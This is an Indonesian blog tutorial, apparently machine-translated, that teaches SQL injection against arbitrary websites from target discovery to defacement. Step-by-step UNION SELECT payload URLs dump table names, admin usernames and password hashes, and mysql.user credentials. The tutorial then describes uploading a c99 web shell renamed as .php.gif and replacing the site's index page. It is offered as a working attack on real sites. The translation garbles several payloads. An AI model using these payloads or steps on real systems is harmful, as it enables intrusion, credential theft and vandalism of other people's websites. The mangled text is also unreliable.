sql injection from start to defacement

Di sini saya akan teknologi Anda cara hack website menggunakan injeksi sql. Ikuti langkah-langkah
sqlinjection
MENEMUKAN TARGET DAN MENDAPATKAN PASSWORD ADMIN.
Pertama kita harus menemukan website target kami untuk itu Anda dapat menggunakan dorks.
Saya kebanyakan menggunakan "inurl:? Php id =" dan memberi Anda beberapa dorks sini menyalin salah satu dan tempel di google dan pencarian. klik di sini untuk lebih Dorks.
Periksa kerentanan.
juga menganggap bahwa kita memiliki satu situs seperti ini
http://www.site.com/news.php?id=5
Sekarang untuk menguji apakah kita berharga perlu menambahkan '(kutipan) setelah akhir url.
dan itu akan http://www.site.com/news.php?id=5 '
setelah hit yang Enter dan jika Anda punya beberapa error atau jika Anda menemukan beberapa konten gambar hilang atau hilang yang berarti rentan terhadap injeksi sql.
Cari jumlah kolom.
Untuk menemukan jumlah kolom kita menggunakan command ORDER BY (menceritakan database yang cara memesan hasilnya)
jadi bagaimana menggunakannya? Yah hanya incrementing nomor sampai kita mendapatkan error.
http://www.site.com/news.php?id=5 order by 1 / * <- tidak ada kesalahan
http://www.site.com/news.php?id=5 order by 2 / * <- tidak ada kesalahan
http://www.site.com/news.php?id=5 order by 3 / * <- tidak ada kesalahan
http://www.site.com/news.php?id=5 order by 4 / * <- error (kita mendapatkan pesan seperti kolom ini '4 Unknown 'dalam' klausa order 'atau sesuatu seperti itu)
yang berarti bahwa ia memiliki 3 kolom, karena kita punya kesalahan pada 4.
Periksa fungsi UNION
Dengan serikat kita dapat memilih lebih banyak data dalam satu pernyataan sql.
jadi kita harus
http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 / * (kita telah menemukan bahwa jumlah kolom adalah 3 di bagian 2) (
jika kita melihat beberapa nomor di layar, yaitu 1 atau 2 atau 3 maka UNION bekerja :)
Periksa versi MySQL
http://www.site.com/news.php?id=5 serikat semua CATATAN 1,2,3 / * select: jika / * tidak bekerja atau Anda mendapatkan beberapa error, kemudian coba -
itu komentar dan sangat penting bagi query kita untuk bekerja dengan baik.
mari kita mengatakan bahwa kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi
kita ganti nomor 2 dengan @ @ version atau version () dan mendapatkan someting seperti 4.1.33-log atau 5.0.45 atau mirip.
seharusnya terlihat seperti ini http://www.site.com/news.php?id=5 union all select 1, @ @ version, 3 / *
jika Anda mendapatkan error "union + campuran ilegal collations (IMPLISIT + yg dpt dipaksa) ..."
saya tidak melihat kertas menutupi masalah ini, jadi saya harus menulis :)
apa yang kita butuhkan adalah mengkonversi () fungsi
yaitu
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, convert (@ @ versi dengan menggunakan latin1), 3 / *
atau dengan hex () dan unhex ()
yaitu
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, unhex (hex (@ @ version)), 3 / *
dan Anda akan mendapatkan versi MySQL: D
Mendapatkan tabel dan nama kolom
baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12 ...) <--- kemudian saya akan menjelaskan untuk MySQL> 5 versi.
kita harus menebak tabel dan nama kolom dalam banyak kasus. nama tabel umum adalah: user / s, admin / s, member / s.
nama kolom umum adalah: username, user, usr, user_name, password, pass, passwd, pwd dll .. 
yaitu akan
 
http://www.site.com/news.php?id=5 serikat semua pilih 1,2,3 dari admin / * (kita lihat nomor 2 pada layar seperti sebelumnya, dan itu bagus)
kita tahu bahwa meja admin ada. sekarang untuk memeriksa nama kolom.
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, username, 3 dari admin / * (jika Anda mendapatkan error, kemudian coba nama kolom lainnya)
kita mendapatkan nama pengguna ditampilkan di layar, misalnya akan admin, atau superadmin dll sekarang untuk memeriksa apakah ada kolom sandi
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, password, 3 dari admin / * (jika Anda mendapatkan error, kemudian coba nama kolom lainnya)
kita melihat password pada layar di hash atau plain-text, itu tergantung bagaimana database diatur :)
yaitu md5 hash, mysql hash, sha1. sekarang kita harus menyelesaikan query untuk terlihat bagus untuk itu kita dapat menggunakan concat () fungsi (itu bergabung string)
yaitu
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, concat (username, 0x3a, password), 3 dari admin / *
Perhatikan bahwa saya meletakkan 0x3a, nilai hex untuk: (jadi 0x3a adalah nilai hex untuk usus) (ada cara lain untuk itu, char (58), nilai ascii untuk:)
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, concat (username, char (58), password), 3 dari admin / *
sekarang kita mendapatkan username dislayed: password pada layar, yaitu admin: admin atau admin: somehash ketika Anda memiliki ini, Anda bisa login seperti admin atau superuser beberapa. jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default) memiliki pengguna i kolom password, sehingga contoh akan
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, concat (user, 0x3a, password), 3 dari mysql.user / *
MySQL 5
Seperti saya katakan sebelumnya aku akan menjelaskan bagaimana untuk mendapatkan nama tabel dan kolom
di MySQL> 5.
Untuk ini kita perlu information_schema. Ini memegang semua tabel dan kolom dalam database.
untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.
yaitu
 
http://www.site.com/news.php?id=5 serikat semua pilih 1, table_name, 3 dari information_schema.tables / *
di sini kita mengganti nomor 2 kami dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables
ditampilkan pada layar. Sekarang kita harus menambahkan LIMIT di akhir query untuk daftar semua tabel.
yaitu
 
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%200,1/*
 
perhatikan bahwa saya meletakkan 0,1 (dapatkan 1 hasil mulai dari 0) sekarang untuk melihat tabel kedua, kita mengubah batas 0,1 untuk membatasi 1,1
yaitu

http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%201,1/*  

tabel kedua ditampilkan.
untuk tabel ketiga kami menempatkan batas 2,1
yaitu
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%202,1/*  

terus incrementing sampai Anda mendapatkan beberapa yang berguna seperti db_admin, poll_user, auth, auth_user dll Untuk mendapatkan nama kolom metode adalah sama. Di sini kita menggunakan column_name dan information_schema.columns
Metode ini sama seperti di atas sehingga contoh akan.

kolom pertama diplayed. yang kedua (kita mengubah batas 0,1 untuk membatasi 1,1)
yaitu.
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%201,1/*

kolom kedua ditampilkan, jadi tetap incrementing sampai Anda mendapatkan sesuatu seperti
nama pengguna, pengguna, login, password, pass, dll passwd jika Anda ingin nama kolom tampilan untuk tabel tertentu menggunakan query ini. (Mana klausa)
mari kita mengatakan bahwa kita menemukan pengguna meja.
yaitu
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_name=%27users%27/*
 
sekarang kita bisa ditampilkan nama kolom dalam tabel pengguna. Hanya menggunakan LIMIT kita bisa daftar semua kolom dalam tabel pengguna.
Catatan bahwa ini tidak akan bekerja jika tanda kutip ajaib ON. mari kita mengatakan bahwa kita menemukan colums user, pass, dan email.
sekarang untuk menyelesaikan query untuk menempatkan mereka semua bersama-sama untuk itu kita menggunakan concat (), saya decribe itu sebelumnya.
yaitu
http://www.site.com/news.php?id=5%20union%20all%20select%201,concat%28user,0x3a,pass,0x3a,email%29%20from%20users/*
 
apa yang kita dapatkan di sini adalah pengguna: pass: email dari pengguna meja.
contoh: admin: hash: whatever@blabla.com
Mengotori WEBSITE
Setelah mendapatkan password Anda bisa login sebagai admin situs. Tapi pertama-tama Anda harus menemukan halaman login admin untuk situs. ada r tiga metode untuk menemukan panel admin.
Sekarang menemukan pilihan upload dan meng-upload shell Anda (jika Anda tidak memiliki shell kemudian klik di sini untuk men-download )
beberapa situs tidak akan memungkinkan Anda untuk meng-upload sebuah file php. sehingga mengubah nama sebagai c99.php.gif kemudian meng-upload.
setelah itu pergi ke http://www.site.com/images (dalam gambar situs yang paling disimpan dalam dir tetapi jika Anda tidak dapat menemukan c99 ada maka Anda harus menebak dir) menemukan c99.php.gif dan klik sekarang Anda dapat melihat kontrol pannel besar.
sekarang Anda dapat melakukan apa pun yang ingin Anda lakukan.
mencari file index.html dan menggantinya dengan halaman deface sendiri. jadi jika ada orang yang masuk ke situs yang mereka akan melihat halaman Anda.
Dan Anda telah melakukannya! berharap ini tutorial membantu Anda sedikit.
Selamat hacker Tersenyum

Artikel Terkait

0 komentar

Posting Komentar

Cancel Reply